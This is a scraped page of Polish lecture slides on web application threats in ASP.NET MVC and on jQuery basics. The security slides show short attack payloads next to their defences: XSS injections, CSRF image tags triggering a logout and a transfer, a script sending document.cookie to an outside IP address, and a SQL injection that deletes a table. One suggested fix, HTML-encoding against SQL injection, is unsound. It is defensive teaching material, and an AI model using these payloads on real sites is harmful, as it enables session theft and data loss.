Zagrożenia.

Slides:



Advertisements
Podobne prezentacje
20041 Projektowanie dynamicznych witryn internetowych Paweł Górczyński ASP 3.0.
Advertisements

Serwery WWW Michał Kuciapski Uniwersytet Gdański Wyższa Szkoła Bankowa
Usługi sieciowe Wykład 5 DHCP- debian
Protokoły sieciowe.
Równoległość w środowisku rozproszonym
Wykorzystanie konta uczelnianego dla potrzeb stron WWW
Sieci komputerowe Usługi sieciowe Piotr Górczyński 27/09/2002.
Wprowadzenie do języka skryptowego PHP
Przypisywanie adresów TCP/IP
Bezpieczeństwo aplikacji WWW
WEB SERVICE Stefan Rutkowski.
Polsko-Japońska Wyższa Szkoła Technik Komputerowych
Autor Roman Jędras Prowadzący: dr inż. Antoni Izworski Przedmiot:
Sieci komputerowe Model warstwowy OSI Piotr Górczyński 20/09/2003.
Programowanie w HTML i XML
Programowanie w HTML i XML prowadzący: dr inż. Tomasz Wierciński.
Poj ę cia Sieciowe. IMAP-to internetowy protokół pocztowy zaprojektowany IMAP-to internetowy protokół pocztowy zaprojektowany POP3-to protokół internetowy.
SSL - protokół bezpiecznych transmisji internetowych
Usługi sieciowe Wykład 5 DHCP- debian Jarosław Kurek WZIM SGGW 1.
Obsługa serwera zdalnego przez klienta FTP
Kurs WWW Paweł Rajba
Połączenia za pomocą TCP
Monitoring Sieci Narzędzia Sieciowe.
Wrocław DHCP Autorzy: Paweł Obuchowski Paweł Szuba.
Proxy WWW cache Prowadzący: mgr Marek Kopel
Proxy (WWW cache) Sieci Komputerowe
Sieci komputerowe: Firewall
Archiwizacja oraz szybkie wyszukiwanie wiadomości
USŁUGI INTERNETOWE TCP/IP WWW FTP USENET.
Protokoły sieciowe.
Narzędzia internetowe Paweł Rajba
Made by Mateusz Szirch Kilka słów o JavaScript.
Jak przeżyć w Internecie? Czyli o bezpieczeństwie słów kilka… Michał Jankowski MJ Software Solutions Services.
Aplikacje Internetowe
Historia Internetu Podstawowe pojęcia.
Web Serwisy w praktyce Technologie internetowe ( )
MODEL WARSTWOWY PROTOKOŁY TCP/IP
Jerzy Jelinek Paweł Korpowski
Lokalne serwery www Serwer WWW - ang. Web server jest to oprogramowanie zainstalowane na serwerze podłączonym do sieci Internet. Używające technologii.
Informatyka 1 Sieć.
PROJEKTGEOGRAFIAKULTURA POWRÓT ODPOWIEDŹ
Specjalizacja "Dziennikarstwo On-line„ asynchroniczny JavaScript i XML – AJAX Część 6 Prowadzący: Dariusz Jaruga
Prezentacja Adrian Pyza 4i.
INTERNET Sieć komputerowa o światowym zasięgu łącząca sieci lokalne, sieci rozległe i wszystkie komputery do nich podłączone. Służy do komunikacji między.
Sieci komputerowe.
Aplikacje TCP i UDP. Łukasz Zieliński
Model OSI i TCP/IP, HTML, WWW
Tematy: Informacje wstępne Zasoby wydziałowe Serwer WWW Usługa SSH Usługa FTP Poczta elektroniczna Podstawowe problemy i kłopoty Pytania ? Podsumowanie.
Systemy operacyjne i sieci komputerowe
OWASP + DevOps, kilka przydatnych narzędzi
Projektowanie Aplikacji Internetowych Artur Niewiarowski Wydział Fizyki, Matematyki i Informatyki Politechnika Krakowska.
Systemy operacyjne i sieci komputerowe
Serwery WWW Michał Kuciapski Uniwersytet Gdański Wyższa Szkoła Bankowa.
Jak przeżyć w Internecie? Czyli o bezpieczeństwie słów kilka… Michał Jankowski MJ Software Solutions Services.
Treści multimedialne - kodowanie, przetwarzanie, prezentacjaOdtwarzanie treści multimedialnych Andrzej Majkowski informatyka +
Andrzej Majkowski 1 informatyka +. 2 Bezpieczeństwo protokołu HTTP Paweł Perekietka.
Sieci komputerowe Model warstwowy OSI.
Połączenia aplikacji Klient/Serwer
1. Podaj definicję kartografii internetowej. 2. Geographic Markup Language: a) Jest schematem XML a) Opisuje obiekty w fizycznej przestrzeni a) Jest formatem.
Maciej Wierzchowski Mariusz Sołtysiak. Założenia  Autentykacja użytkownia  Autentykacja dostawcy  Zapewnienie bezpiecznego połączenia.
HTML.  Wprowadzenie  Protokół HTTP  Język HTML  Definicja typu dokumentu  Nagłówek strony  Formatowanie treści dokumentu  Definiowanie struktury.
Elementy przeglądarki internetowej Pasek menu Pasek kart Pasek adresowy Pasek wyszukiwania Okno z zawartością strony internetowej Zakładki (ulubione)
 Wi-Fi  światłowody  skrętka Protokół komunikacyjny to zbiór ścisłych reguł i kroków postępowania, które są automatycznie wykonywane przez urządzenia.
AJAX w PHP.
Model TCP/IP Wykład 6.
SIECI KOMPUTEROWE WYKŁAD 2. STANDARDY. PROJEKTY. MODELE WARSTWOWE.
Wydział Matematyki, Informatyki i Architektury Krajobrazu
Sieci komputerowe Usługi sieciowe 27/09/2002.
Aplikacje i usługi internetowe
Aplikacje i usługi internetowe
Zapis prezentacji:

Zagrożenia

Warstwy protokołów internetowych IP Warstwa sieciowa UDP TCP Warstwa transportowa DNS FTP Warstwa aplikacji TELNET SMTP NNTP POP3 SSH SSH HTTP HTTPS

Protokół HTTP (HyperText Transfer Protocol) Pakiet wysyłany przez serwer GET / HTTP/1.1 Host: host.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.6) Gecko/20040122 Accept: text/xml,application/xml,application/xhtml+xml,text/html; q=0.9,text/plain;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive znak powrotu karetki i wysunięcia strony (CRLF)

Protokół HTTP (HyperText Transfer Protocol) Odpowiedź serwera HTTP/1.1 200 OK Date: Sun, 11 Jul 2004 12:04:30 GMT Server: Apache/2.0.50 (Unix) DAV/2 Set-Cookie: PSID=d6dd02e9957fb162d2385ca6f2829a73; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache (stara metoda) Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-2 znak powrotu karetki i wysunięcia strony (CRLF) tutaj zawartość dokumentu

Metody HTTP GET – pobranie zasobu HEAD – pobranie informacji o zasobie POST – przesłanie danych na serwer PUT – umieszczenie zasobu na serwerze DELETE – usunięcie zasobu z serwera TRACE, CONNECT, OPTIONS

Kody odpowiedzi HTTP 200 OK Zawartość żądanego dokumentu (najczęściej zwracany nagłówek odpowiedzi w komunikacji WWW) 201 Created Utworzono - wysłany dokument został zapisany na serwerze 204 No content Brak zawartości - serwer zrealizował zapytanie klienta i nie potrzebuje zwracać żadnej treści 304 Not Modified Nie zmieniono - zawartość zasobu nie podległa zmianie według warunku przekazanego przez klienta (np. data ostatniej wersji zasobu pobranej przez klienta 400 Bad Request Nieprawidłowe zapytanie - żądanie nie może być obsłużone przez serwer z powodu błędnej składni zapytania 401 Unauthorized Nieautoryzowany dostęp - żądanie zasobu, który wymaga autentykacji 403 Forbidden Zabroniony - serwer zrozumiał zapytanie lecz konfiguracja bezpieczeństwa zabrania mu zwrócić żądany zasób 404 Not Found Nie znaleziono - serwer nie odnalazł zasobu według podanego URI ani niczego co by wskazywało na istnienie takiego zasobu w przeszłości

Kody odpowiedzi HTTP 500 Internal Server Error Wewnętrzny błąd serwera - serwer napotkał niespodziewane trudności, które uniemożliwiły zrealizowanie żądania 505 HTTP Version Not Supported Wersja HTTP nie obsługiwana - serwer nie obsługuje bądź odmawia obsługi wskazanej przez klienta wersji HTTP

Cross-Site Scripting (XSS) Umożliwienie użytkownikowi wprowadzenia kodu skryptowego, który będzie bez zmian przesłany do przeglądarki innego użytkownika

<a href=”No blog! Sorry :<”>Bob</a> foreach (m in Model) { <div> @m.Name <a href="@m.HomeBage" /a> </div> } <a href=”No blog! Sorry :<”>Bob</a> “></a><script src=”http://trojan.polsl.pl”></script> <a href=”

Zabezpieczenie HTML Enkodowanie HTML całej zawartości @Model.Nazwisko @Html.Encode(Model.Nazwisko) “></a><script src=”http://trojan.polsl.pl”></script> <a href=” "></a><script src="http://trojan.polsl.pl"></script> <a href=" <a href=”<%=Url.Action(“index”,”home”,new {name=ViewBag.nazwa})%>”>Naciśnij</a> <a href=”<%=Url.Action(“index”,”home”,new {name=Html.AttributeEncode(ViewBag.nazwa)})%>”>Naciśnij</a> <a href=”<%=Url.Encode(Url.Action(“index”,”home”, new {name=ViewBag.nazwa}))%>”>Naciśnij</a> AttributeEncode tylko znaki: " & < \

Ochrona domyślna <pages validateRequest="true" />

Zabezpieczenia JS <h2 id=”info”></h2> public ActionResult Index(string UserName) { ViewBag.UserName = UserName; return View(); } <h2 id=”info”></h2> @if(@ViewBag.UserName != null) { <script type=“text/javascript“> $(function () { var message = ‘Welcome, @Html.Encode(ViewBag.UserName)!‘; $("#info“).html(message).hide().show(‘slow‘); }); </script> } http://localhost:1337/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e Encoder.JavaScriptEncode

Cookies Serwer Set-Cookie: nazwa=wartość; expires=DATA; path=ŚCIEŻKA; domain=DOMENA; secure; httpOnly Przeglądarka Cookie: ciasteczko_1=wartosc_1; ciasteczka_2=wartosc_2;...

Cookies

Sessja Serwer Przeglądarka Domena Strona1 Token Strona2 Strona3 Sprawdzenie obecności ciasteczka-tokena dla domeny, wysłanie żądania strony1 bez ciasteczka. Domena Strona1 Sprawdzenie obecności w żądaniu ciasteczka-tokena, wygenerowanie tokena, wysłanie strony1+tokena. Token Strona2 Sprawdzenie obecności ciasteczka-tokena dla domeny, wysłanie żądania strony2 i tokenu. Strona3 Sprawdzenie obecności ciasteczka-tokena dla domeny, wysłanie żądania strony3 i tokenu.

Cross-Site Request Forgery Wykonanie kodu z uprawnieniami innego internauty <img src=”/account/logout” /> <img src=”/przelewy/wykonaj?z=2134198984&do=363674236” /> Widok z obrazkiem Akcja wykonania przelewu „Pobranie” obrazka

Zabezpieczenie Takie jak w XSS. Weryfikacja tokena Blokowanie wywołań GET <form action=”/account/register” method=”post”> <@Html.AntiForgeryToken()> </form> <input type=”hidden” value=”012837udny31w90hjhf7u”> [ValidateAntiforgeryToken] public ActionResult Register(…)

Kontrola źródła formularza public class IsPostedFromThisSiteAttribute : AuthorizeAttribute { public override void OnAuthorize(AuthorizationContext filterContext) if (filterContext.HttpContext != null) if (filterContext.HttpContext.Request.UrlReferrer.Host != “www.polsl.pl”) throw new System.Web.HttpException (“Ten formularz nie zostal wysłany z tej strony!”); }}} [IsPostedFromThisSite] public ActionResult Register(…)

Cookie Stealing Zabezpieczenie window.location=”http://1.2.3.4:81/r.php?u=" +document.links[1].text +”&l=”+document.links[1] +”&c=”+document.cookie;” Zabezpieczenie Zapobieganie XSS Zakaz dostępu do Cookies z poziomu skryptu JS <httpCookies domain=”String” httpOnlyCookies=”true” requireSSL=”false” /> Response.Cookies[“MyCookie”].Value=”Tajne"; Response.Cookies[“MyCookie].HttpOnly=true;

Open Redirection /Account/LogOn?ReturnUrl=%2fAccount%2fChangePassword%2f. [HttpPost] public ActionResult LogOn(LogOnModel model, string returnUrl) { if (ModelState.IsValid) if (Membership.ValidateUser(model.UserName, model.Password)) FormsAuthentication.SetAuthCookie(model.UserName, model.RememberMe); if (Url.IsLocalUrl(returnUrl) && returnUrl.Length > 1 && returnUrl.StartsWith("/") && !returnUrl.StartsWith("//") && !returnUrl.StartsWith("/\\")) return Redirect(returnUrl); } else return RedirectToAction("Index", "Home"); ModelState.AddModelError("", "The user name or password provided is incorrect."); // If we got this far, something failed, redisplay form return View(model);

SQL Injection public ActionResult DodajPracownika(string nazwisko) { SqlConnection połączenie=new SqlConnection("…”); SqlConnection polecenie=new SqlCommand("INSERT INTO Pracownicy (Nazwisko) VALUES("+nazwisko+”)”); połączenie.Open(); polecenie.ExecuteNonQuery(); połączenie.Close(); } Serwer.pl/Pracownik/DodajPracownika?nazwisko=Kowal”);DELETE FROM Pracownicy;

Zabezpieczenia public ActionResult DodajPracownika(string nazwisko) { SqlConnection połączenie=new SqlConnection("…”); SqlConnection polecenie=new SqlCommand("INSERT INTO Pracownicy (Nazwisko) VALUES("+Html.Encode(nazwisko)+”)”); połączenie.Open(); polecenie.ExecuteNonQuery(); połączenie.Close(); } public ActionResult DodajPracownika(string nazwisko) { SqlConnection połączenie=new SqlConnection("…”); SqlConnection polecenie=new SqlCommand("INSERT INTO Pracownicy (Nazwisko) VALUES(@Nazwisko)”); polecenie.Parameters.Add("Nazwisko”,SqlTypes.VarChar,14).Value=nazwisko; połączenie.Open(); polecenie.ExecuteNonQuery(); połączenie.Close(); }

JQuery Biblioteka JS niezależna od przeglądarki Biblioteka open source Maszyna selekcji elementów niezależna od przeglądarki Modyfikacja dokumentu DOM Możliwość wykorzystania selektrów CSS Biblioteka oparta o zdarzenia Umożliwia uzyskiwanie efektów i animacji Wspiera AJAX

Konfiguracja Pobranie biblioteki ze strony http://jquery.com/download Dołączenie biblioteki do strony <script type="text/javascript" src="jquery.js"></script>

Definiowanie zdarzeń <html> <head> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> $(document).ready(Zarejestruj); function Zarejestruj() { $("a").click(Przywitaj); } function Przywitaj() alert("Dzień dobry"); </script> </head> <body> <a href="">Przywitaj</a> </body> </html>

Funkcja anonimowa <html> <head> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> $(document).ready(function() { $("a").click(function() { alert("Dzień dobry!"); }); </script> </head> <body> <a href="">Przywitaj</a> </body> Funkcja anonimowa

Selektory CSS <html> <head> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> $(document).ready(function(){$("p.wazny").css("background-color","Yellow");}); </script> </head> <body> <p>Akapit 1</p> <p class="wazny">Akapit 2</p> <p class="wazny">Akapit 3</p> </body> </html>

Dodawanie elementów <html> <head> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> $(document).ready(function(){ for (i=1;i<=10;i++) $("#lista").append("<li>"+i+"</li>"); }); </script> </head> <body> <ul id="lista"> </ul> </body> </html>

Efekty $(document).ready() <!DOCTYPE html> <html> <head> <script src="jquery.js"></script> <script> $(function(){ $("#przycisk").click(function(){ $("#napis").fadeOut(3000); }); </script> </head> <body> <input type="button" id="przycisk" value="Start" /> <div id="napis">Przykładowy efekt</div> </body> </html> $(document).ready()

Animacja <!DOCTYPE html> <html> <head> <script src="jquery.js"></script> <script> $(function(){ $("#przycisk").click(function(){ $("#napis").animate({left:'+=100px'}); }); </script> </head> <body> <input type="button" id="przycisk" value="Start" /> <div id="napis" style="position:absolute;left:200px">Przykładowy efekt</div> </body> </html>

Callback Callback <!DOCTYPE html> <html> <head> <script src="jquery.js"></script> <script> $(function(){ $("#przycisk").click(function(){ $("#napis").animate({left:'+=100px'},"slow",function(){$("#napis").hide();}); }); </script> </head> <body> <input type="button" id="przycisk" value="Start" /> <div id="napis" style="position:absolute;left:200px">Przykładowy efekt</div> </body> </html> Callback

AJAX Asynchronous JavaScript and XML

AJAX

JSON JSON, JavaScript Object Notation